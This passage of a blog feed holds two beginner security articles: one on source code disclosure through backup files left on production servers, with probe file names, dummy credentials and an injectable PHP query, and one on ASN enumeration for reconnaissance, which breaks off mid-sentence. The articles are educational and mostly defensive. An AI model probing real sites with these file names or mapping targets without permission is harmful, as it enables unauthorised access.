      <description>&lt;p&gt;As I continue learning web application security, I keep discovering that many serious vulnerabilities don't require sophisticated hacking techniques.&lt;/p&gt;

&lt;p&gt;Sometimes, attackers don't need SQL Injection.&lt;/p&gt;

&lt;p&gt;Sometimes, they don't need Remote Code Execution.&lt;/p&gt;

&lt;p&gt;Sometimes, they simply download a file that was never supposed to be public.&lt;/p&gt;

&lt;p&gt;One of the most common examples is exposed backup files.&lt;/p&gt;

&lt;p&gt;In this article, we'll explore how backup files can accidentally expose an application's source code and why developers should never leave them on production servers.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Matters
&lt;/h2&gt;

&lt;p&gt;Imagine you've spent months developing a web application.&lt;/p&gt;

&lt;p&gt;Your source code contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Authentication logic&lt;/li&gt;
&lt;li&gt;Database connections&lt;/li&gt;
&lt;li&gt;API integrations&lt;/li&gt;
&lt;li&gt;Business logic&lt;/li&gt;
&lt;li&gt;Security controls&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now imagine all of that becomes publicly downloadable because of a forgotten backup file.&lt;/p&gt;

&lt;p&gt;That's exactly what happens in many source code disclosure incidents.&lt;/p&gt;

&lt;p&gt;A single exposed file can give attackers a blueprint of your entire application.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Are Backup Files?
&lt;/h2&gt;

&lt;p&gt;Developers often create backups before making changes.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;login.php.bak
index.php.old
config.php.backup
website.zip
source.rar
app.tar.gz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These files are useful during development.&lt;/p&gt;

&lt;p&gt;The problem starts when they accidentally remain on a production server.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Attackers Find Backup Files
&lt;/h2&gt;

&lt;p&gt;Attackers rarely guess vulnerabilities manually.&lt;/p&gt;

&lt;p&gt;Instead, they automate the process.&lt;/p&gt;

&lt;p&gt;Common filenames they look for:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index.php.bak
login.php.old
config.php.bak
web.config.bak
backup.zip
source.zip
site_backup.tar.gz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Many scanners automatically test hundreds of common backup file names.&lt;/p&gt;

&lt;p&gt;Simple example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Normal page:
https://example.com/login.php

Possible backup:
https://example.com/login.php.bak
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the server allows access, the attacker downloads the file.&lt;/p&gt;




&lt;h2&gt;
  
  
  Understanding Source Code Disclosure
&lt;/h2&gt;

&lt;p&gt;Normally, when a PHP page is requested:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;login.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server executes the code and only returns the output.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Welcome"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Browser receives:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Welcome
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, a backup file is often treated as a normal downloadable file.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;login.php.bak
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of executing the code, the server sends the file contents directly.&lt;/p&gt;

&lt;p&gt;The attacker now sees:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="nv"&gt;$db_user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$db_pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"password123"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT * FROM users WHERE username='&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application's internal logic is exposed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-World Risks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Database Credentials Exposure
&lt;/h3&gt;

&lt;p&gt;Developers often store database settings in configuration files.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$db_host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"localhost"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$db_user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"root"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$db_pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SuperSecretPassword"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An exposed backup file may reveal these credentials immediately.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Hidden Admin Panels
&lt;/h3&gt;

&lt;p&gt;Source code often reveals endpoints that are not publicly linked.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/admin
/internal-dashboard
/debug-panel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attackers can directly access these locations.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Hardcoded API Keys
&lt;/h3&gt;

&lt;p&gt;Developers sometimes accidentally store:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AWS Keys
Stripe Keys
SMTP Credentials
JWT Secrets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;inside source code.&lt;/p&gt;

&lt;p&gt;These become visible once the code is exposed.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Easier Vulnerability Discovery
&lt;/h3&gt;

&lt;p&gt;With source code available, attackers can analyze:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Authentication logic
Input validation
Database queries
File uploads
Access controls
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finding vulnerabilities becomes much easier.&lt;/p&gt;




&lt;h2&gt;
  
  
  Visualizing the Attack
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Developer
    │
    ▼
Creates backup file

login.php.bak

    │
    ▼
Uploads to production

    │
    ▼
Attacker discovers file

    │
    ▼
Downloads source code

    │
    ▼
Finds secrets and vulnerabilities
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Practical Example
&lt;/h2&gt;

&lt;p&gt;Imagine a website contains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/login.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A backup file exists:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com/login.php.bak
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker downloads it and discovers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT * FROM users
WHERE username='&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="s2"&gt;'
AND password='&lt;/span&gt;&lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker notices user input is directly inserted into the query.&lt;/p&gt;

&lt;p&gt;This immediately suggests a potential SQL Injection vulnerability.&lt;/p&gt;

&lt;p&gt;Without source code, finding this issue could take much longer.&lt;/p&gt;

&lt;p&gt;With source code, it becomes obvious.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common Mistakes Developers Make
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mistake&lt;/th&gt;
&lt;th&gt;Risk&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Uploading .bak files&lt;/td&gt;
&lt;td&gt;Source code exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Leaving ZIP backups online&lt;/td&gt;
&lt;td&gt;Entire application disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Storing secrets in code&lt;/td&gt;
&lt;td&gt;Credential leakage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No deployment review process&lt;/td&gt;
&lt;td&gt;Sensitive files remain public&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No security scanning&lt;/td&gt;
&lt;td&gt;Vulnerabilities go unnoticed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Best Practices
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Use Version Control
&lt;/h3&gt;

&lt;p&gt;Instead of storing backups on servers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Git
GitHub
GitLab
Bitbucket
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;provide safer version history management.&lt;/p&gt;




&lt;h3&gt;
  
  
  Separate Backups from Web Root
&lt;/h3&gt;

&lt;p&gt;Bad:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/www/html/backup.zip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Better:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/opt/backups/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;outside the web-accessible directory.&lt;/p&gt;




&lt;h3&gt;
  
  
  Remove Temporary Files Before Deployment
&lt;/h3&gt;

&lt;p&gt;Create deployment checklists that verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;No .bak files
No .old files
No ZIP archives
No test files
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Scan Production Servers
&lt;/h3&gt;

&lt;p&gt;Regularly search for:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;*.bak
*.old
*.zip
*.tar.gz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;before releases.&lt;/p&gt;




&lt;h3&gt;
  
  
  Store Secrets Securely
&lt;/h3&gt;

&lt;p&gt;Avoid:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SuperSecretPassword"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Environment Variables
Secret Managers
Vault Solutions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;instead.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Backup files often contain complete source code.&lt;/li&gt;
&lt;li&gt;Source code disclosure can reveal credentials and sensitive information.&lt;/li&gt;
&lt;li&gt;Attackers actively search for backup files.&lt;/li&gt;
&lt;li&gt;A single exposed file can compromise an entire application.&lt;/li&gt;
&lt;li&gt;Proper deployment practices significantly reduce risk.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;When learning cybersecurity, it's easy to focus on advanced attacks like SQL Injection, Remote Code Execution, or privilege escalation.&lt;/p&gt;

&lt;p&gt;However, many real-world breaches begin with something much simpler.&lt;/p&gt;

&lt;p&gt;A forgotten backup file.&lt;/p&gt;

&lt;p&gt;Security isn't only about preventing attackers from breaking in.&lt;/p&gt;

&lt;p&gt;It's also about avoiding mistakes that accidentally invite them in.&lt;/p&gt;

&lt;p&gt;Before deploying any application, make sure backup files, temporary files, and old versions never reach your production server.&lt;/p&gt;

&lt;p&gt;That small habit can prevent a major security incident.&lt;/p&gt;




</description>
      <category>cybersecurity</category>
      <category>devops</category>
      <category>backend</category>
      <category>websecurity</category>
    </item>
    <item>
      <title>The Internet's Address Book: Understanding ASN Like a Hacker</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Tue, 09 Jun 2026 19:53:34 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/the-internets-address-book-understanding-asn-like-a-hacker-38b0</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/the-internets-address-book-understanding-asn-like-a-hacker-38b0</guid>
      <description>&lt;h3&gt;
  
  
  Why Google Owns AS15169 and Cloudflare Owns AS13335
&lt;/h3&gt;

&lt;p&gt;Most people know what an IP address is.&lt;/p&gt;

&lt;p&gt;Ask someone what &lt;strong&gt;8.8.8.8&lt;/strong&gt; is, and there's a good chance they'll recognize it as Google's DNS server.&lt;/p&gt;

&lt;p&gt;But ask them what &lt;strong&gt;AS15169&lt;/strong&gt; is?&lt;/p&gt;

&lt;p&gt;Silence.&lt;/p&gt;

&lt;p&gt;And that's exactly why attackers, bug bounty hunters, and security researchers pay attention to Autonomous System Numbers (ASNs).&lt;/p&gt;

&lt;p&gt;Because while IP addresses tell you where a device lives, ASNs tell you &lt;strong&gt;who owns the neighborhood&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Once you understand that difference, the internet starts looking very different.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Day I Stopped Looking at IP Addresses
&lt;/h2&gt;

&lt;p&gt;When I first started learning reconnaissance, I was obsessed with domains and IPs.&lt;/p&gt;

&lt;p&gt;I'd find a website.&lt;/p&gt;

&lt;p&gt;Resolve its IP.&lt;/p&gt;

&lt;p&gt;Run some scans.&lt;/p&gt;

&lt;p&gt;Move on.&lt;/p&gt;

&lt;p&gt;Simple.&lt;/p&gt;

&lt;p&gt;Then I discovered ASN enumeration.&lt;/p&gt;

&lt;p&gt;Suddenly, a single IP address wasn't just a server anymore.&lt;/p&gt;

&lt;p&gt;It became a clue.&lt;/p&gt;

&lt;p&gt;A breadcrumb leading to hundreds—sometimes thousands—of other assets owned by the same organization.&lt;/p&gt;

&lt;p&gt;That's when I realized:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;IP addresses show individual houses.&lt;/p&gt;

&lt;p&gt;ASNs show entire cities.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And that's where recon gets interesting.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is an ASN?
&lt;/h2&gt;

&lt;p&gt;An &lt;strong&gt;Autonomous System Number (ASN)&lt;/strong&gt; is a unique identifier assigned to a network or group of networks controlled by a single organization.&lt;/p&gt;

&lt;p&gt;Think of the internet as a giant global postal system.&lt;/p&gt;

&lt;p&gt;Every house has an address.&lt;/p&gt;

&lt;p&gt;That's your IP address.&lt;/p&gt;

&lt;p&gt;But houses belong to neighborhoods.&lt;/p&gt;

&lt;p&gt;Neighborhoods belong to cities.&lt;/p&gt;

&lt;p&gt;Cities belong to states.&lt;/p&gt;

&lt;p&gt;An ASN is like the official identifier for that city.&lt;/p&gt;

&lt;p&gt;Instead of tracking one address, you're identifying the organization responsible for an entire section of the internet.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Simple Analogy
&lt;/h2&gt;

&lt;p&gt;Imagine you're standing outside a warehouse.&lt;/p&gt;

&lt;p&gt;You see one truck parked outside.&lt;/p&gt;

&lt;p&gt;That truck is an IP address.&lt;/p&gt;

&lt;p&gt;Most people stop there.&lt;/p&gt;

&lt;p&gt;But a hacker asks:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Who owns the logistics company?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The logistics company is the ASN.&lt;/p&gt;

&lt;p&gt;Once you know who owns the company, you can discover:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Other warehouses&lt;/li&gt;
&lt;li&gt;Delivery centers&lt;/li&gt;
&lt;li&gt;Distribution hubs&lt;/li&gt;
&lt;li&gt;Regional offices&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The same principle applies online.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Does Google Own AS15169?
&lt;/h2&gt;

&lt;p&gt;Google operates one of the largest networks on Earth.&lt;/p&gt;

&lt;p&gt;Millions of servers.&lt;/p&gt;

&lt;p&gt;Data centers on multiple continents.&lt;/p&gt;

&lt;p&gt;Global infrastructure.&lt;/p&gt;

&lt;p&gt;To manage all that traffic, Google owns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AS15169
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This ASN represents a massive portion of Google's network infrastructure.&lt;/p&gt;

&lt;p&gt;If you look up AS15169, you'll find countless IP ranges associated with Google services.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Search&lt;/li&gt;
&lt;li&gt;Gmail&lt;/li&gt;
&lt;li&gt;YouTube&lt;/li&gt;
&lt;li&gt;Google Cloud&lt;/li&gt;
&lt;li&gt;Maps&lt;/li&gt;
&lt;li&gt;Android services&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When internet providers need to route traffic toward Google, they don't think in terms of individual servers.&lt;/p&gt;

&lt;p&gt;They think in terms of AS15169.&lt;/p&gt;

&lt;p&gt;It's the network's identity card.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Does Cloudflare Own AS13335?
&lt;/h2&gt;

&lt;p&gt;Cloudflare's ASN is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AS13335
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you've spent any time in cybersecurity, you've probably encountered Cloudflare without realizing it.&lt;/p&gt;

&lt;p&gt;Millions of websites rely on Cloudflare for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DDoS protection&lt;/li&gt;
&lt;li&gt;CDN services&lt;/li&gt;
&lt;li&gt;WAF protection&lt;/li&gt;
&lt;li&gt;DNS services&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because Cloudflare sits in front of enormous amounts of internet traffic, it maintains its own massive autonomous system.&lt;/p&gt;

&lt;p&gt;When you identify AS13335 during reconnaissance, you're often looking at infrastructure connected to Cloudflare's global network.&lt;/p&gt;

&lt;p&gt;And that can reveal useful context about how a target's infrastructure is structured.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Hackers Care About ASN Enumeration
&lt;/h2&gt;

&lt;p&gt;Here's where most guides stop.&lt;/p&gt;

&lt;p&gt;They explain what an ASN is.&lt;/p&gt;

&lt;p&gt;Then they move on.&lt;/p&gt;

&lt;p&gt;But the real value comes from understanding what ASNs reveal.&lt;/p&gt;

&lt;p&gt;Let's say you discover:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most beginners start looking for subdomains.&lt;/p&gt;

&lt;p&gt;That's fine.&lt;/p&gt;

&lt;p&gt;But an experienced recon practitioner asks:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Which ASN owns this infrastructure?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Because one ASN can expose far more assets than a single domain ever will.&lt;/p&gt;




&lt;h2&gt;
  
  
  From One Domain to Hundreds of Assets
&lt;/h2&gt;

&lt;p&gt;Imagine this chain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;example.com
        ↓
ASN Discovery
        ↓
Associated IP Ranges
        ↓
Additional Hosts
        ↓
Expanded Attack Surface
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One domain becomes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Multiple subdomains&lt;/li&gt;
&lt;li&gt;Multiple IP ranges&lt;/li&gt;
&lt;li&gt;Multiple services&lt;/li&gt;
&lt;li&gt;Multiple opportunities for discovery&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That's why ASN enumeration is often considered one of the most powerful reconnaissance techniques available.&lt;/p&gt;




&lt;h2&gt;
  
  
  A Real-World Example
&lt;/h2&gt;

&lt;p&gt;Think about a shopping mall.&lt;/p&gt;

&lt;p&gt;A website is one store.&lt;/p&gt;

&lt;p&gt;An IP address is the store's street address.&lt;/p&gt;

&lt;p&gt;Most people stop there.&lt;/p&gt;

&lt;p&gt;An ASN tells you who owns the entire mall.&lt;/p&gt;

&lt;p&gt;Now you can investigate every other store inside the property.&lt;/p&gt;

&lt;p&gt;Different entrances.&lt;/p&gt;

&lt;p&gt;Different businesses.&lt;/p&gt;

&lt;p&gt;Different security levels.&lt;/p&gt;

&lt;p&gt;The perspective changes completely.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Find ASN Information
&lt;/h2&gt;

&lt;p&gt;One of the easiest tools for ASN research is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;he.net
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hurricane Electric's BGP Toolkit allows you to search:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Domains&lt;/li&gt;
&lt;li&gt;IP addresses&lt;/li&gt;
&lt;li&gt;ASNs&lt;/li&gt;
&lt;li&gt;Routing information&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;google.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;can lead you to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AS15169
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From there, you can explore:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Advertised prefixes&lt;/li&gt;
&lt;li&gt;Network ownership&lt;/li&gt;
&lt;li&gt;Associated ranges&lt;/li&gt;
&lt;li&gt;Routing paths&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It's like moving from a street map to a satellite view.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Hidden Recon Advantage
&lt;/h2&gt;

&lt;p&gt;Here's what many beginners never realize.&lt;/p&gt;

&lt;p&gt;A vulnerability scanner only examines what you already know exists.&lt;/p&gt;

&lt;p&gt;Reconnaissance helps you discover what you didn't know existed.&lt;/p&gt;

&lt;p&gt;And ASN enumeration is one of the fastest ways to expand that visibility.&lt;/p&gt;

&lt;p&gt;A forgotten server.&lt;/p&gt;

&lt;p&gt;A legacy IP range.&lt;/p&gt;

&lt;p&gt;An acquired company's infrastructure.&lt;/p&gt;

&lt;p&gt;A regional deployment.&lt;/p&gt;

&lt;p&gt;All of those can become visible through ASN research.&lt;/p&gt;

&lt;p&gt;Not because you're scanning harder.&lt;/p&gt;

&lt;p&gt;Because you're thinking bigger.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common ASN Numbers You Should Recognize
&lt;/h2&gt;

&lt;p&gt;The more reconnaissance you do, the more familiar these become.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Organization&lt;/th&gt;
&lt;th&gt;ASN&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;td&gt;AS15169&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloudflare&lt;/td&gt;
&lt;td&gt;AS13335&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft&lt;/td&gt;
&lt;td&gt;AS8075&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Amazon&lt;/td&gt;
&lt;td&gt;AS16509&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Meta (Facebook)&lt;/td&gt;
&lt;td&gt;AS32934&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Over time, seeing these numbers becomes second nature.&lt;/p&gt;

&lt;p&gt;Just like recognizing a familiar domain.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Matters More Than Ever
&lt;/h2&gt;

&lt;p&gt;Modern organizations don't operate from one server.&lt;/p&gt;

&lt;p&gt;They operate from cloud platforms, regional networks, CDNs, APIs, and distributed infrastructure.&lt;/p&gt;

&lt;p&gt;That means understanding ownership is becoming more valuable than understanding individual hosts.&lt;/p&gt;

&lt;p&gt;And ownership is exactly what ASNs reveal.&lt;/p&gt;

&lt;p&gt;Think about it this way:&lt;/p&gt;

&lt;p&gt;IP addresses tell you where something is.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ASNs tell you who it belongs to.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's a much more powerful question.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Most people learn domains.&lt;/p&gt;

&lt;p&gt;Some learn IP addresses.&lt;/p&gt;

&lt;p&gt;Very few learn ASNs.&lt;/p&gt;

&lt;p&gt;That's a mistake.&lt;/p&gt;

&lt;p&gt;Because the moment you understand Autonomous System Numbers, the internet stops looking like a collection of websites and starts looking like a collection of interconnected networks.&lt;/p&gt;

&lt;p&gt;And that's how hackers, bug bounty hunters, and security researchers see the web.&lt;/p&gt;

&lt;p&gt;Not as pages.&lt;/p&gt;

&lt;p&gt;Not as servers.&lt;/p&gt;

&lt;p&gt;But as infrastructure.&lt;/p&gt;

&lt;p&gt;The next time you discover an IP address, don't stop there.&lt;/p&gt;

